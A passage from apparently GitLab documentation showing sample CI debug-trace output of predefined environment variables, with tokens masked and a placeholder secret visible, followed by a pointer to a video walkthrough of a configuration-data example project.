++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_BUILD_ID=379424655
++ CI_BUILD_ID=379424655
++ export CI_BUILD_TOKEN=[MASKED]
++ CI_BUILD_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI_BUILD_NAME=debug_trace
++ CI_BUILD_NAME=debug_trace
++ export CI_BUILD_STAGE=test
++ CI_BUILD_STAGE=test
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export CI_SERVER_VERSION=12.6.0-pre
++ CI_SERVER_VERSION=12.6.0-pre
++ export CI_SERVER_VERSION_MAJOR=12
++ CI_SERVER_VERSION_MAJOR=12
++ export CI_SERVER_VERSION_MINOR=6
++ CI_SERVER_VERSION_MINOR=6
++ export CI_SERVER_VERSION_PATCH=0
++ CI_SERVER_VERSION_PATCH=0
++ export CI_SERVER_REVISION=f4cc00ae823
++ CI_SERVER_REVISION=f4cc00ae823
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
++ export CI_PROJECT_TITLE='GitLab FOSS'
++ CI_PROJECT_TITLE='GitLab FOSS'
++ export CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
++ CI_PROJECT_PATH=gitlab-examples/ci-debug-trace
++ export CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
++ CI_PROJECT_PATH_SLUG=gitlab-examples-ci-debug-trace
++ export CI_PROJECT_NAMESPACE=gitlab-examples
++ CI_PROJECT_NAMESPACE=gitlab-examples
++ export CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
++ CI_PROJECT_ROOT_NAMESPACE=gitlab-examples
++ export CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
++ CI_PROJECT_URL=https://gitlab.com/gitlab-examples/ci-debug-trace
++ export CI_PROJECT_VISIBILITY=public
++ CI_PROJECT_VISIBILITY=public
++ export CI_PROJECT_REPOSITORY_LANGUAGES=
++ CI_PROJECT_REPOSITORY_LANGUAGES=
++ export CI_DEFAULT_BRANCH=master
++ CI_DEFAULT_BRANCH=master
++ export CI_REGISTRY=registry.gitlab.com
++ CI_REGISTRY=registry.gitlab.com
++ export CI_API_V4_URL=https://gitlab.com/api/v4
++ CI_API_V4_URL=https://gitlab.com/api/v4
++ export CI_PIPELINE_IID=123
++ CI_PIPELINE_IID=123
++ export CI_PIPELINE_SOURCE=web
++ CI_PIPELINE_SOURCE=web
++ export CI_CONFIG_PATH=.gitlab-ci.yml
++ CI_CONFIG_PATH=.gitlab-ci.yml
++ export CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ CI_COMMIT_SHA=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ export CI_COMMIT_SHORT_SHA=dd648b2e
++ CI_COMMIT_SHORT_SHA=dd648b2e
++ export CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ CI_COMMIT_BEFORE_SHA=0000000000000000000000000000000000000000
++ export CI_COMMIT_REF_NAME=master
++ CI_COMMIT_REF_NAME=master
++ export CI_COMMIT_REF_SLUG=master
++ CI_COMMIT_REF_SLUG=master
++ export CI_COMMIT_MESSAGE=s/CI/Runner
++ CI_COMMIT_MESSAGE=s/CI/Runner
++ export CI_COMMIT_TITLE=s/CI/Runner
++ CI_COMMIT_TITLE=s/CI/Runner
++ export CI_COMMIT_DESCRIPTION=
++ CI_COMMIT_DESCRIPTION=
++ export CI_COMMIT_REF_PROTECTED=true
++ CI_COMMIT_REF_PROTECTED=true
++ export CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045
++ export CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000
++ CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000
++ export CI_BUILD_REF_NAME=master
++ CI_BUILD_REF_NAME=master
++ export CI_BUILD_REF_SLUG=master
++ CI_BUILD_REF_SLUG=master
++ export CI_RUNNER_ID=1337
++ CI_RUNNER_ID=1337
++ export CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com
++ CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com
++ export 'CI_RUNNER_TAGS=gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex'
++ CI_RUNNER_TAGS='gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex'
++ export CI_DEBUG_TRACE=true
++ CI_DEBUG_TRACE=true
++ export GITLAB_USER_ID=42
++ GITLAB_USER_ID=42
++ export GITLAB_USER_EMAIL=user@example.com
++ GITLAB_USER_EMAIL=user@example.com
++ export GITLAB_USER_LOGIN=root
++ GITLAB_USER_LOGIN=root
++ export 'GITLAB_USER_NAME=User'
++ GITLAB_USER_NAME='User'
++ export CI_DISPOSABLE_ENVIRONMENT=true
++ CI_DISPOSABLE_ENVIRONMENT=true
++ export CI_RUNNER_VERSION=12.5.0
++ CI_RUNNER_VERSION=12.5.0
++ export CI_RUNNER_REVISION=577f813d
++ CI_RUNNER_REVISION=577f813d
++ export CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
++ CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
++ export VERY_SECURE_VARIABLE=imaverysecurevariable
++ VERY_SECURE_VARIABLE=imaverysecurevariable

...
```

## Video walkthrough of a working example

The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.

The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.